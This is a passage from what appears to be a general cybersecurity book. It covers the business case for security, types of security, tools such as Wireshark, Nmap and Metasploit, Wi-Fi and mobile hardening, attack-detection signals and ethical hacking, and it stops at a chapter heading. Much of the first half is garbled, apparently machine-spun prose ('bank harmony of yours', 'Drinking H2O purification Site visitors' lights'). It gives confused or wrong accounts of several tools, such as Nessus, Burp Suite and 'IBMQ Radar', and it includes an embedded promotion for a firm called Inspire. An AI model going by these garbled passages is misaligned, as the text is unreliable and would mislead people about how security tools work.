If an assault leads to private info being stolen, including usernames, passwords, or perhaps payment details, allers4you in question will be made owning almost as the breach. This continues to be the scenario when in March, hackers targeted 2015 BA's Executive Club design in an ambitious cyberattack that originated from the Russian federation. A couple of Executive Club members discovered the cell phone number, together with other personal details, had been modified, while others learned the devotion points of theirs were certainly utilized to book flights in addition to hotel rooms for trips, they'd never privately produced.

To protect the personal information of yours and, far more particularly, your clients' info, by deploying strong, robust, and regularly updated cybersecurity measures, can be seen as an enterprise priority. To guard the information of yours, while your rivals do not do so, it may elevate your condition and act the hassle of differentiation.

**Benefit 3 - Protect Your Account Balance**

A single, highly effective cyber attack can possess an amazing impact on the business organization's bank harmony of yours. A number of the financial hits are going to be experienced promptly. In contrast, others involve a great deal more being experienced, which helps make the actual costs of good cyberattacks difficult to totally quantify.

What we do know is the reality that there will be the initial price for treating the circumstances. You may be in a lucky area and provide an
IT staff at the disposal of yours. Just in case, like the vast majority of small companies, you don’t have such a luxury, you will be put forth to outsource, which may be rather expensive. There will function as the cost of checking out the breach, creating a useful method to be certain it doesn’t happen again, screening it truly works, and then deploying it. Financially smart business owners will take this as an opportunity to undertake a broader introduction of the whole site protection of theirs. While this is what we’d suggest, it’s likely to drive the initial episode’s short-run costs up.

Just in case cash that’s genuine, or maybe perhaps virtual currency in the kind of respect factors is considered, you’re likely to have the responsibility to refund your affected clients. In some cases, this is an authorized necessity, in others, it is morally the correct steps to take. Either way, it’s going to set you back genuinely serious cash to resolve.

The longer-term influence, in the terminology of lost revenue, might be difficult to calculate. Simply the number of potential customers will not actually become real customers due to the negative perception caused by the strike?

As well as that, for smaller business groups, it is the biggest benefit of cybersecurity—it’s in a position to protect the bank harmony of yours.

**Exactly Why Being Proactive Pays Off**

The three advantages of saving your standing, the information of yours, so the money of yours is likely by taking a totally assertive approach to your Website security. With Inspire, we’ve performed well over 1,000 hours of tests in the last twelve months to make certain the code of ours, as well as servers, are sound. It’s a huge commitment, but one we don’t compromise on. It’s simply a cost of doing business in the era that we’re residing in. Many smaller companies are switched off by the perceived cost of placing in place suitable security measures. In our experiences, it costs a great deal, much more dollars to fix following an assault than it can cook for a single.

**Cyber Security at Inspire**
Protecting the site of yours means protecting the company of yours. At Inspire, we believe the site of yours has got the possibility to be a major asset for your company, and also, similar to every asset, and it should be passionately protected.
Chapter Eleven:
Cons and Pros of Cybersecurity

Advantages of Cybersecurity

• Protection from malicious attacks on your system
• Deletion or perhaps guaranteeing malicious parts within a preexisting group
• Prevents owners from unauthorized access to the product
• Denies uses from particular resources which might be infected
• Securing confidential info

Disadvantages of Cybersecurity

• Strict regulations
• Hard to deal with for nontechnical users
• Restrictive to resources
• Constantly needs patching
• Constantly being attacked

Precisely How Cyber Security is Important for Society

Cybersecurity professional Mikael Stenqvist covers the advantages of enhancing protection in Sweden's electrical networks to allow protected advancement simply for contemporary society's upcoming advantage.

Technology has advanced rapidly during the final 15 years that security issues may have been ignored. In Sweden, the fiber
infrastructure is now deployed to 60-70% of most companies and households, and 4G mobile network to significantly over 90.5%. The bulk of home networks are currently used for TV and an internet connection, although apps now have been developed for a lot of new remedies that are producing the realm of ours smarter by the early morning.

For example, the digitization of healthcare, seen as e-health, helps improve the household's usefulness to take good care of the sick and elderly. Alarms, mobile applications to remind people to take the drugs of theirs, or perhaps establish the pulse of theirs or perhaps blood pressure, electrical locks as well as twenty-four-hour cam monitoring can offer people much better independence living in the personal houses of theirs. Through the net of items, contemporary society is beginning to become more connected at all times.

Digitization and automation of infrastructure and important public services are getting about smart power grids in addition to water supply networks, district heating, smart traveling techniques with driverless cars and also huge extra brand-new innovations that are producing the houses of ours, towns and cities far better plus even more renewable from an economic, ecologic and environmental viewpoint.

These breakthroughs are causing an explosion in the volume of receptors required to monitor, control, and measuring in uses that can be different. Depending on Cisco, of all the world's largest manufacturers of network solutions, there are presently roughly five billion sensors in the world linking buildings, railways, roads, hospitals, residences, etc. And this number will increase exponentially, leading to trillion receptors currently being equipped for different uses over the next five years.
Chapter Twelve:

Types of Cybersecurity

Does it seem that everything now depends on computers as well as the internet? Entertainment, communication, transportation, medicine, shopping, etc. Even banking institutions operate the company online of theirs. The realization that many of the planet are dependent on the internet should encourage us to challenge ourselves.

Simply just how much of the lifetime of mine is driven by the net? Simply just how much of the private info of mine is stored on the web? Simply just how much of the company of a mine is accessible over networks? Simply just how much of my customers' information is accessible over networks?

With these a remarkable dependence on computer systems, neglecting the possibility of cybercrime in the company of yours is incredibly risky & likely bad for you, your business, your employees, together with the buyers of yours. Without a feeling of security, the company of yours is operating at extremely high risk for cyber-attacks.

Below are numerous kinds of cybersecurity you need to become mindful of. This could help you construct a good foundation for an excellent security strategy.

1. Critical infrastructure security

Important infrastructure safety includes the cyber-physical methods which fashionable societies rely on. Common examples of essential infrastructure:

- Power grid
- Drinking H2O purification Site visitors' lights
Going shopping centers hospitals with an energy grid infrastructure on the internet leads to it being prone to cyber-attacks.

Companies with responsibility for any essential infrastructures must do due diligence to realize the vulnerabilities and defend the company of theirs against them. In addition to this essential infrastructure’s resilience, protection is crucial to our society’s well-being and safety.

Companies that are not responsible for the infrastructure, however rely on it for a portion of their company, should certainly develop a contingency plan by analyzing precisely how an assault on essential infrastructure they rely on might affect them.

2. Application security

You have to choose application protection as among the selection of should have security methods adopted to protect your devices. Software safety uses Software and hardware treatments to tackle outdoor threats forming in the development stage of an application.

Apps are much more accessible over networks, resulting in the adoption of safeguard steps through the development phase to be an imperative stage of the endeavor.

Types of Application security:

- Antivirus programs
- Firewall encryption exhibits

These help to ensure that unauthorized access stays away. Companies likewise could detect extremely vulnerable specifics assets and protect them by certain system security procedures put on these data sets.

3. Network security

As cybersecurity is all about outside threats, community security guards against the unauthorized intrusion of your respective inner networks due to malicious goals. Community security guarantees that internal networks are protected by preserving the infrastructure and inhibiting access to it.
To enable you to far better management group security monitoring, security teams currently use machine learning to flag unusual guests and alert to threats on time, which is genuine. Network administrators keep on applying policies and procedures to prevent unauthorized access, modification, and exploitation of the system.

Common examples of community protection implementation:

- Extra logins
- Revolutionary passwords
- System security
- Antivirus programs
- Antispyware Software Encryption
- Firewalls Monitored internet access.

4. Cloud security

Enhanced cybersecurity is of all the main reasons the cloud is recording. Cloud protection is a software program-based protection tool that protects and monitors the info in the cloud materials of yours. Cloud providers are continually producing & utilizing brand new security tools to help enterprise users better secure information of theirs.

The misconception flying about cloud computing is that it’s less secure compared to standard tactics. People will probably believe that the information of yours is much safer when stored on physical methods and the servers you influence. Nevertheless, cloud security has been established that command does not mean security in addition to accessibility matters a lot more than the physical location of the information of yours.

Alert's Logic Cloud Security Report found that on-premises environment computer customers experience many more incidents than those of service provider environments. The statement further finds that service provider environment customers experienced an average of 27.8 attacks.
Cloud computing security is comparable to conventional on-premise information centers, simply without the time in addition to the expense of maintaining big data facilities. Also, the risk of security breaches is reduced.

5. Internet of things (IoT) security

IoT details several non-critical and crucial cyber actual physical strategies, like appliances, sensors, televisions, Wi-Fi routers, printers, and security cameras.

Based on Bain & Company's prediction, the combined marketplaces of IoT will create approximately $520 billion in 2021; a lot more than double the $235 billion invested in 2017.

IoT's info center, analytics, consumer devices, networks, legacy embedded approaches & connectors will be the IoT market's primary engineering. Their solutions are usually posted in a vulnerable state and provide hardly any to no security patching. This poses unique security challenges for all those users.

6. Information security

This describes the shelter of information and data from theft, unauthorized access, breaches, etc. to uphold user privacy and quit identity theft.

7. Disaster recovery

This requires preparing and strategizing to enable companies to recuperate from cybersecurity/IT disasters. This requires a risk assessment, analysis, prioritizing, and make catastrophe response in addition to recovery methods ready to go. This allows organizations to recuperate quicker from disasters and lower losses.

8. Website security

This is utilized to stop as well as protect websites from cybersecurity risks on the internet. Alternate website protection plans are planning to discuss the website's information source, applications, source
codes, and files. Typically, there carries a frequent rise in the volume of data breaches on websites of the past few years, leading to identity thefts, downtime, financial losses, loss of track record in addition to brand image, etc. The main reason for this becomes the misconception amongst website owners that the website hosting provider protects their site. So, offering them susceptible to cyber-attacks. A number of the primary key techniques and tools utilized for website security are site checking and malware removal, website plan firewall, application security testing, etc.

9. Endpoint security

This allows organizations to protect their servers, mobile devices & workstations from remote and local cyber-attacks. Since products on a method are interconnected, it tends to make entry points for threats and vulnerabilities. Endpoint protection effectively secures the device by blocking attempts created accessing these entry points. File integrity monitoring, anti-malware software programs as well as antivirus, etc. Are big methods employed?

Types of Cyber Security tools

1. IBMQ Radar Advisor and Watson

This is undoubtedly the absolute best protection program used by companies. Watson, using artificial intelligence (AI), is self-learning and self-evolving telephone system. Just what it can be, before the chance is detected, it eliminates the section. The operating goes as such: IBM QRadar tracks the place. It collects information and connects online, offline, and inside the coding unit. It formulates a technique to add it next when an event is raised; it eliminates the chance. This is of all the absolute best web incidents.

2. Wireshark

It is among the most popular community analyzer protocol. It assesses the vulnerable regions on the device in which the individual is working. Wireshark can collect or perhaps view the minutes of the info in addition to activities that are going on a product. The incoming and
outgoing packets of info along with the protocol that's being employed in the transmission could be viewed. Just what it can be captures the lifestyle info and also creates a traditional analysis sheet that should assist in tracking.

3. Cryptostopper

It is among the best tools on the net right now to prevent ransomware or perhaps malware attacks on merchandise. What crypto stopper does is it finds the bots that are encrypting the documents along with deletes them. It creates a design or perhaps a deception way of latching it on by itself upon the device when it latches itself; crypto stopper detects in addition to deletes that code. Cryptostopper makers are inclined to make a pledge of a nine-second threat detection and elimination challenge. It isolates the workstation and the infected areas of the unit so that the ransomware will not be able to gradually affect more areas.

4. N MAP

It is of all the countless primary and also open source utilities created for community securities. NMAP is not just great with very little but large networks too. It recognizes the hosts and the receiver on a product. Along with it, furthermore, it uses the distributions of operating systems. It's in a position to scan hundreds and thousands of devices on a process in one moment.

5. Burp Suite

It is another web scanning algorithm security program, which allows you to browse online uses. The main reason behind this specific gadget is checking and also penetrating the jeopardized approach. It checks the surfaces that might be influenced along with the sender and the destination's responses and requests for the risk. If any threat is found, it's in a position to either be quarantined or might be eliminated.

6. OpenVAS
It is viewed as most likely the most stable, less loophole, and use of web security tools on the net at the next. You are going to find two primary components of OpenVAS.

Scanner: It experiences the insecure areas and directs a compiled report of the majority of it with the supervisor of its.

Manager: It compiles the requests obtained from the scanner, and after that, it can make a report of all of this type of incidences.

7. Nessus

Nessus is but one additional unit which checks for malicious hackers. It goes through the pcs on the device for unauthorized hackers who try to make use of the info coming from the net. It is widely assumed that Nessus scans 1200 times for unauthorized entry. Apart from some, there is no assumption that different ports are actually set for web servers, as Port 80 is set for web servers only. It is also an open-source unit, which provides an insecure patching assistance center, which further helps in giving achievable methods because of the affected areas.

8. Metasploit Framework

Created by Rapid7, it’s considered the best open-source framework, which is utilized for checking vulnerabilities. It is a command shell as it works within UNIX; therefore, owners are competent to work the hand of theirs and automobile guidelines to take a look at along with run the scripts. Metasploit Framework has a couple of built-ins, too, as a few final party interfaces, which could be used to exploit the affected areas.

9. SolarWinds Mail Assure

It is a multi-functional application that addresses the vast majority of email security issues. It is information from nearly 2 million domains, which is coming from 80 5 nations. It is the same made available as Software as a Service (SAAS). It can assist in defense of the user’s applications from spams, viruses, phishing, and malware.
There are plenty of other net protection tools out there that could help eliminate the opportunity together with the above-mentioned list. They are as follows:

- Aircrack-ng
- Call Manager
- MailControl
Chapter Thirteen:
Improving Your Security

Securing a Wireless Network

People must learn how to protect their wireless networks to ensure their confidential information does not fall into the wrong hands. This chapter will give a brief introduction to securing a personal wireless network and how to do it. For most of the examples, NETGEAR routers will be used. If users have a different router, keep in mind that some things will be different.

Encryption

Let us begin by discussing basic encryption. When regarding data movement over a network, Encryption is the process by which plaintext is converted into a scrambled mixture of characters. This decreases the probability that the information sent over an encrypted network is being used for malicious purposes. As for encryption regarding wireless routers, it is the process by which an encrypted authentication key is produced every time the correct login credentials are entered, allowing access to the network. In simpler terms, every time a user logs in to a secured router, a unique key is generated, which allows access to that internet connection.

WPA

Wi-Fi Protected Access or WPA is a security tool that was developed to replace WEP security. There are two types: WPA and WPA2. The difference is that WPA2 is a newer, more secure version of WPA. Anytime users have to log in to a wireless network, whether at their house or school, they are most likely, logging into a WPA/WPA2
encrypted network. These security features work by checking whether or not the login credentials entered are accurate, and if they are, an encrypted authentication key unique to that very login is generated. Once this key is generated, it is checked by the corresponding network, allowing the transmission of data to start, assuming the login credentials were a match. Now that we have seen the basics of WPA encryption, we will discuss some basic steps that can be taken to secure personal wireless networks.

**Wireless Router Credentials**

When a wireless router is first set up, the default login credentials must be changed. Most personal wireless routers come with a standard login username and password such as:

Username: admin

Password: password

Hackers know these default login credentials, meaning they must be changed right away. Using a lengthy password with a combination of both upper and lower cases will give users reliably secure credentials.

**Service Set Identifier**

A Service Set Identifier (SSID) refers to the computer language for a wireless network name. For example, the University of Arizona's wireless network is known as 'UAWifi.' It is important to change the name of a personal network from the default, as hackers may target a wireless network with a default name, thinking it is less secure. To further improve security, SSID broadcasting can be turned off. This means that the network will not be visible to outsiders. It will still be there, and if the specific SSID is searched for, it can be found. However, anyone scanning for a network to connect to won't see this hidden network. This is especially useful when you have neighbors who are trying to gain access to your personal network.
Media Access Control

Media Access Control (MAC) is a set of numbers used to identify a specific device. Whether it's a computer, tablet, or phone, every device has a unique MAC address. To better protect a network, the router can only allow specific MAC addresses to connect to that network. This adds another layer of security to your network by only permitting specific devices to connect. While this is a useful security feature, it is important to at least mention that there are software programs available that allow hackers to fake MAC addresses, allowing them to pretend to be the same device on your network.

The last tip we have for securing a router is the most effective method of keeping personal networks secure: turn the router off. If you're going on vacation or you simply won't be using their network for an extended period, turning off the router is the best way to avoid hackers from getting into the network. They cannot access something that is not powered on and transmitting data.

Securing Mobile Devices

This chapter will explain the security risks mobile devices face and how to better protect your data on mobile phones or tablets.

Security Risks

There are three main security risks for mobile devices: physical theft, internet theft, and application permissions.

Physical theft: The physical theft of a device can allow a person to access the device and snoop through all personal information stored. That could be anything from passwords, text messages, photos, emails, and so on.

Internet theft: This applies to any data stolen or seen while browsing the internet on a mobile device, whether on a wireless network or a mobile carrier service.
Application permissions: This is probably the biggest security threat to mobile device owners for one simple reason. People do not read what permissions an application has when downloading the app. Business Insider published a recent study that found that in 2017, 90% of consumers accepted legal terms and conditions without reading through them. This is where the security risks come into play.

The Basics

Listed below are six methods that can be used to better protect mobile device security. These are up-to-date operating systems, app privileges, geo-tracking awareness, lock screens, Wi-Fi or Bluetooth safety, and internet browsing.

Operating Systems

An operating system is the basis of a mobile device that manages all networks and Software. For example, Apple uses iOS, while Android uses Android OS. Maintaining up-to-date software for all types of mobile operating systems aid in keeping a mobile device safer. As the developers of these operating systems learn of security flaws, they are patched, and an update is sent worldwide. This is one of the easiest methods to protect yourself from upcoming malicious Software or security weaknesses.

Applications

We all love apps, whether they come from the Apple Store or the Google Play Store, but most people do not know the information these apps can access via a user’s mobile phone. Most people never bother to read the fine print when they download the new Candy Crush game or update their Instagram app. Therefore, phones are incredibly easy targets for hackers.

Many applications request far too much data from a phone, which may not even be related to the app’s actual purpose. For example, in Candy Crush’s license agreement under section 10, it states that the
developers may use any personal data collected in any way that follows their privacy policy. They also state that if users link their account to a social media site, they will use personal data available from those sites to identify the user.

Geo-tracking

Most mobile device users have absolutely no idea how frequently their locations are being pinged and stored in a company's servers. Many free applications available for download in the Apple Store or Google Play Store are not actually free. There is a growing trend among app developers to collect your location using your phone or tablet's GPS, known as geo-tracking. This information is gathered in huge quantities and is bought by large business entities who utilize this data to study and accurately predict consumer behavior.

Advertisers are always looking for new ways to capture your attention so that you will buy their product. If an app developer collects GPS locations from an individual daily, they could look at it and say, "Wow, this person seems to drive by a certain store every day." This app developer then takes this information and sells it to the store that the individual in question drives by every day to be targeted with advertisements. These advertisements could come in the form of emails or spam text messages. How can these stores know how to direct ads at specific individuals? The answer to this is that more than just the individual's location data can be used for marketing. This app developer could have permission to gain access to the phone's personal information like contacts, emails, etc. This allows the app developer to sell an individual's daily transit routes and the information needed for advertisers to reach them specifically.

Passwords

This is one of the easiest methods for protecting data on a mobile phone. A simple lock screen password can prevent someone from gaining access to your phone or tablet if it is stolen. Think about all the applications, text messages, emails, and photos on a person's phone or
tablet. Then think about someone being able to access all that information without even needing a password.

**Wi-Fi Safety**

To avoid hackers seeing information sent from a user's mobile device, the user needs to be careful when using Wi-Fi. According to Lawyers' Professional Indemnity Company (LAWPRO), here are some tips on how you can do this:

1. First and foremost, only use wireless networks that are known and trusted. Avoid public wireless networks altogether if possible. Public networks are usually not secure, making it easy for someone on the same network to pick up the information you sent.

2. If using a public network is a must, login to a Virtual Private Network (VPN) to secure the data you are transmitting. A VPN works by sending encrypted data through a tunnel that is safe from being accessed by anyone on the same network.

3. Make sure the network being used is running some form of WPA encryption. Most home company networks run WPA2 encryption, unlike public networks, which have no security at all.

4. If you're connected to a network that isn't your own, make sure that the device sharing settings are turned off to avoid unknown devices from connecting with yours. This creates a link between devices designed to share data easier. However, this is also an effortless way for a hacker to connect to the user's device.

**Bluetooth Safety**

1. Most Bluetooth capable devices are shipped by the manufacturer in unprotected mode. Also known as 'discovery mode.' This mode allows the device to be seen by others, making it easier to connect with.

2. If you are not using your Bluetooth, make sure to turn it off to
avoid any connections to other unwanted devices. Turning your Bluetooth off when it’s not in use eliminates all chances of an attacker’s device connecting to yours.

3. If possible, change your device settings, requiring user confirmation before it pairs with another device. This eliminates the possibility of another device secretly connecting.

4. Do not connect to unknown devices. Only pair with devices that are known and trusted.

5. The maximum range of Bluetooth connections can differ based on the device’s power, and by setting the range to the lowest possible setting, the risk of an attacker reaching the device is reduced.

Internet Browsing

Internet browsing can still be dangerous, even on an iPad. Here are a few dos and don’ts from the McAfee Security Advice Center when it comes to surfing the web on a mobile device:

1. Install antivirus software, if possible, to run scans on any downloaded content on your device.

2. Always look at the URL of the web pages you visit. Make sure that you check the https security feature.

3. Fake websites tend to have some errors ranging from the page’s overall look to improper grammar.

4. If the URL of the website you wanted to visit is known, enter it directly to avoid any possible fake copies of the website.

5. Avoid clicking on advertisements, as these can lead to malicious websites designed to install dangerous software on your device.
Chapter Fourteen: Enhancing Physical Security

Early Detection is the Game Changer

The Study on Global Megatrends in Cybersecurity, sponsored by Raytheon and independently conducted by Ponemon Institute, provides new insights into the most critical cyber-threat trends emerging over the next three years through the eyes of those on the frontline of cybersecurity.1

More than 1,110 senior information-technology practitioners around the world were surveyed.

The study revealed key insights and predictions from the expert practitioners for the next three years, such as Cyber extortion and data breaches impacting shareholder value would increase.

67 percent said the risk of cyber extortion, such as ransomware, will increase in frequency and payout. 60 percent predicted state-sponsored attacks would become even worse.

Only 41 percent said their organization would be able to minimize Internet of Things (IoT) risks.

The frequency of cyber extortion, nation-state attacks, and attacks against industrial controls was predicted to increase by double-digits.

19 percent said cyber extortion is widespread today, while 42 percent said this threat would be frequent over the next three years.

26 percent said nation-state attacks are persistent today, while 45 percent said this would be very frequent over the next three years.

40 percent said attacks against industrial controls and supervisory control and data acquisition (SCADA) systems are frequent today,
54 percent said this would be very frequent over the next three years.

The loss or theft of data from unsecured Internet of Things (IoT) devices is likely to happen and is a significant cybersecurity challenge. 82 percent said it is very likely, likely, or somewhat likely that their organization will have a loss or theft of data caused by an unsecured IoT device or application.

80 percent said the likelihood of a security incident related to an unsecured IoT device or application could be catastrophic.

In summary, Raytheon and Ponemon Institute's Study on Global Megatrends in Cybersecurity provides several predictions from cybersecurity practitioners worldwide, who are on the frontline defense against cyber attackers daily. Among them, over the next three years, even with all of the increased spending on cybersecurity:

Cyber extortion and data breaches will greatly increase in frequency. This trend will largely be driven by sophisticated state-sponsored cyber attackers or organized groups.

IoT devices, in particular, are very susceptible and will be targets that will be exploited.

So, it is not a question of IF, but WHEN the cyber attackers will break-in. And when the cyber attackers break-in, they will remain undetected for many months.

The median or mean number of days the cyber attackers remain undetected varies based on the source. Examples are:

Mandiant's M-Trends Report;

Verizon's Data Breach Investigations Report;

IBM and Ponemon Institute's Cost of a Data Breach Study.

One thing is certain, however. The cyber attackers can hide for many months, and the longer it takes to detect the cyber attackers, the more the cost the organization ends up suffering.
Based on research into dozens and dozens of cases, I have identified signals in the Cyber Attack Chain that every organization should understand and look for.

When researching the cases, it became evident that in each case, the cyber attackers took steps that fit into one of the steps as I have outlined in the Cyber Attack Chain. It was also clear that there were signals of the cyber attackers at work in each step, but the organization did not detect these signals.

It is time for every organization to understand what the Cyber Attack Signals are and implement them as part of their cybersecurity program. By doing so, they will transform the defense into offense and detect the cyber attackers early.

A Cyber Attack Signal is a high-probability signal of cyber attackers at work, trying to hide and avoid detection while performing one of the Cyber Attack Chain tasks. They are at work to accomplish their ultimate objective—the theft of data or intellectual property (IP) or another compromise, harm, or disruption. A Cyber Attack Signal focuses on cyber attackers’ behavior.

I have identified 15 Cyber Attack Signals that, as a minimum, every organization should focus its monitoring on. These Top 15 signals relate to cyber attackers’ behavior. They are timely signals before the cyberattack is executed, occurring at the intrusion, lateral movement, or command and control steps of the Cyber Attack Chain. Therefore, they are of the greatest value.

This is not an exhaustive list, and there will probably be other signals relevant to an organization based on its risk profile and its Crown Jewels that may indicate the cyber attackers at work. As such, each organization should tailor its list of Cyber Attack Signals for monitoring.

Intrusion

Patch window

This is when a vulnerability remains unpatched and how attackers
could exploit it, providing an alert about Crown Jewels possibly impacted, probable attack timeline, and expected attacker behavior.

Web shell

This is the attempted installation or installation of a web shell to a web server. It would exploit server or application vulnerabilities or configuration weaknesses to intrude.

Lateral movement

Abnormal logons

These are anomalies in logons compared to normal logon patterns.

Privileged users' behavior

These are anomalies in privileged users (users with greater access levels and capabilities) compared to normal behavior.

WMI anomalies

This is an abnormal activity with Windows Management Instrumentation (WMI), a set of tools for system administrators to manage Windows systems locally and remotely.

Internal reconnaissance signals

These are anomalies in scripts or batch scripts running on email, web, file servers or domain controller or hosts, or scanning servers and ports.

Malware signals

These are anomalies from normal behavior patterns in terms of users, files, processes, tasks, sources, and destinations to indicate initial malware installation or propagation.

Ransomware signals

This is anomalous activity to indicate initial ransomware installation or propagation, such as the installation of new .dll file or attempted communication with a TOR website (i.e., server
on the TOR network, a service used to provide anonymity over the Internet.)

Malicious PowerShell

This is an abnormal activity with PowerShell, a scripting language for system administrators to automate tasks, such as odd characters (e.g., + 'S %) added in the scripts, use of "powershell.exe" by abnormal users at unusual times or locations, or scripts containing command parameters.

RDP signals

These are anomalies with Remote Desktop Protocol (RDP), enabling a user (e.g., as help-desk staff) to use a graphical interface to connect to another computer in a network as abnormal RDP users, source or destination logons.

SMB anomalies

These are anomalies with Server Message Block (SMB), a Microsoft Windows protocol that enables remotely managing files, file sharing, printing, and directory share, among other functions in a network.

Unusual logs behavior

These are anomalies in event logs, such as event logs removed, stopped, or cleared with details (user details, date, time, type of log, the command executed, asset impacted, source, and destination).

Command and control

C&C communications

This is anomalous activity indicating attempted communication or communications with a command and control (C&C) server, such as a request to an unusual domain name or a one-off domain name, a request to the numeric IP address as the domain name for the host, requests to certain IP addresses or hosts with a certain frequency (hourly, daily or other).

ICMP packets
These are anomalies with Internet Control Message Protocol (ICMP) packets, such as abnormal size, frequency, source, or destination.

Hidden tunnels

These are HTTP anomalies, HTTPS or DNS traffic compared to normal baseline patterns indicating communications with a C&C server using a tunnel designed to blend in with normal traffic.
Chapter Fifteen:

Ethical Hacking

When it comes to security, being a hacker is one of the most commonly used terms. It appears everywhere, and even the entertainment industry and many authors often use it in their movies, books, TV shows, and other media forms. Therefore, the word "hacker" is usually seen as a bad profession and always associated with dark or real criminal activity. When people hear that someone is involved in hacking, they immediately see that person as someone who has no good intentions. They are usually presented as "operators from the shadows," even antisocial. On the other hand, they are also seen as a social activist. This label became especially popular after a few things like WikiLeaks. Many hackers were involved in obtaining many important documents from governments, politicians, and companies that showed very different information from the information given to the public. Organized groups such as Anonymous or Lizard Squad have also had a huge impact on the hacking experience in recent years.

Examples: Mischief or Criminal?

Hacking is by no means a phenomenon that has appeared overnight. It existed in various forms and evolved all the way from the 1960s. However, it was never tackled as a criminal activity at first. We'll look at some cases that will take a closer look at some of the attacks and generic examples that have gradually changed that picture.

Accessing services or resources that you do not have permission to use is usually called stealing usernames and passwords. In some cases, obtaining this information without permission is considered a cybercrime, even if you do not use it or as accounts of friends or family members.

There is a form of a digital offense called network intrusion that is also
considered a cybercrime. In essence, as with ordinary offenses, this means that you went somewhere without permission to enter (or in this case, access). So, if someone gets access to a system or group of systems without permission, we can say that the person violated the network and thereby committed cybercrime.

However, some network intrusions can take place without using hacker tools. Sometimes logging into guest accounts without prior permission can be seen as cybercrime.

One of the most complex yet simplest forms of hacking is to go after the most vulnerable element in the system—people. This type of cybercrime is known as social engineering, and we say it can be simple because the person is a much more accessible part of the system than any other, and it's easier to deal with. However, people can provide clues that are difficult to understand, whether spoken or not, making it difficult for the hacker to get the information they need.

The issue of posting or sending illegal material has generally become difficult to address, especially in the past decade. Social media received a lot of attention, and many other internet-related services increased in use and popularity. This allowed many illegal materials to move from one place to another in the shortest possible time, allowing it to spread very quickly.

Fraud is also common, especially on the internet, and is also considered a cybercrime. Like the original term, fraud in cyberspace also means that a party or parties have usually been misled for financial gain or harm.

What Does it Mean to Be an Ethical Hacker?

All the things we mentioned earlier in this chapter referred to hackers in general. However, the real goal is to learn how to be an ethical hacker and explore the skills you should have.

Ethical hackers are people who are usually employed by organizations to test their security. They usually work through direct employment or temporary contracts. The key is that they use the same skills as all other hackers, but there is one big difference: they can attack the
system directly from the system owner. Besides, an ethical hacker means that you reveal the weaknesses of the system you have evaluated (because every system in the world has them) only to the owner and no one else. Also, organizations or individuals hiring ethical hackers use stringent contracts that specify which parts of the system are authorized for an attack and which are prohibited. An ethical hacker’s role also depends on the job to which he or she is entitled, i.e., the needs of the employer. Today, some organizations have permanent staff teams, and their job is to conduct ethical hacking activities.

Hackers can be divided into 5 categories. Keep in mind that this format may vary, but we can say these are the most common:

The first category is also referred to as "Script Kiddies." These hackers usually have no training or do but very limited. They know how to use just some of the basic hacking tools and techniques, and since they are not competent enough, they may sometimes not fully understand their activities or the consequences of their work.

The second category concerns hackers known as "White Hat hackers." They attack the computer system, but they are the good guys, which means they don't harm their work. These types of hackers are usually ethical hackers, but they can also be pen-testers.

"Gray Hat Hackers" are the third hacker category. As their name suggests, they are between good and bad, but their final decision is to choose the right side. Still, these types of hackers struggle to gain trust because they can be suspicious.

The fourth category we mention in this section is referred to as the "Black Hat Hackers." This category refers to the hackers we mentioned earlier in this chapter. These people usually work on the 'other side' of the law and are usually associated with criminal activities.

Last but not least are the "Suicide hackers." They are called that because their goal is to prove the point, so they want to take out their target. These hackers don't have to worry about getting caught because their goal is not to hide but to prove that they are easier to find.
Responsibilities of an Ethical Hacker

The most important thing that an ethical hacker should learn and never forget is that they should always have permission for any kind of system attack. The ethical code that you, as an ethical hacker, must implement in every task says that no network or system should be tested or targeted if you do not own it or if you do not have permission to do so. Otherwise, you may be found guilty of multiple crimes that may have occurred in the meantime. First, it can hurt your career, and second, if it’s something severe, it can even threaten your freedom.

The smartest thing is to get a contract from your employer the moment you test or attack the required target. The contract is a written authorization, but you should keep in mind that you should only examine the parts of the system specified in that contract. So, if your employer wants to give you permission to hack additional parts of the system or remove authorization for some, he should first change the contract, and you shouldn’t continue working until you get the new permit. Note that the only thing that distinguishes an ethical hacker from a cybercriminal is the contract. Therefore, you should always pay special attention to the vocabulary related to privacy and confidentiality issues. It often happens that you come across intimate information from your client, both business and personal.

That’s one more reason why your contract should include who you can talk to about the things you found while researching the system and who are forbidden from hearing updates from you. In general, customers usually want to be the only people who know everything you eventually find out.

An organization known as the EC Council (International Council of Electronic Commerce Consultants) is one of the most important organizations in regulating these issues. According to them, an ethical hacker should keep all information obtained on the job private and treat it as confidential. This is indicated in particular for the customer’s personal information, which means that you are not allowed to transfer, give, sell, collect or do any of the customer’s information, such as social security numbers, mail addresses, home address, unique identification, name, and so on. The only way you can
give this type of information to a third party is by having written permission from your employer (client).

While some may argue about the distinction between hackers and ethical hackers, the division is quite simple: their intentions separate hackers. This means that those who plan to harm and use their skills to access data without permission are labeled as black hats, while those who work with their client's permission are considered white hat hackers. Naming these two categories of "the bad" and "the good" can be controversial, so we'll try to follow these expressions in the following way:

Black hats usually operate outside the law, which means they do not have permission from the person called "the customer" to consent to their activities. On the contrary, white hats have permission and permission from the person called "client," They even keep the information they have between client and white hats only. Gray hats, on the other hand, enter both areas and use both types of action in different periods.

Hacktivists are a category of hackers that we have not mentioned before. They belong to the movement known as Hacktivism, which refers to action's hackers use to influence the general public by promoting a particular political agenda. So far, hacktivists have been involved with agencies, large companies, and governments.

**Hacker Ethics and Code of Conduct**

Like any other profession, hacking has its Code of Conduct that establishes rules that can help customers evaluate whether the person who interacts with their networks and computer systems is generally reliable. The organization that implemented this Code has already been identified and is known as the EC Council. Obtaining a CEH reference from the EC Council means that you fully understand the expectations you must meet. We've provided some parts of the code, so make sure you read it and get familiar with it.

Information you gain during your professional work should be kept confidential and private (especially personal information).
Unless you have your customer’s permission, you may not give, transfer, or sell the customer’s home address, name, or other uniquely identifying information.

You must protect the intellectual property, yours and others, by using skills that you have acquired yourself so that all benefits go to the original creator.

Be sure to disclose to authorize personnel any danger you suspect may be from the Internet community, electronic transactions, or other hardware and software indicators.

Ensure that the services you provide are within your area of expertise so that you work honestly while aware of any limitations that may result from your education or experience.

You may only work on projects for which you are qualified and carry out tasks that match your training, education, and work experience skills.

You must not knowingly use software that has been obtained illegally or has been stored unethically. You may not participate in financial practices that may be considered misleading, such as double billing, bribery, etc.

Make sure you use the customer’s property properly, without exceeding the limits set in your contract. You must disclose a potential conflict of interest to all parties involved, especially if that conflict cannot be avoided.

Ensure that you manage the entire project you are working on, including promotion and risk disclosure activities.
Chapter Sixteen:

Mistakes Made in Cybersecurity

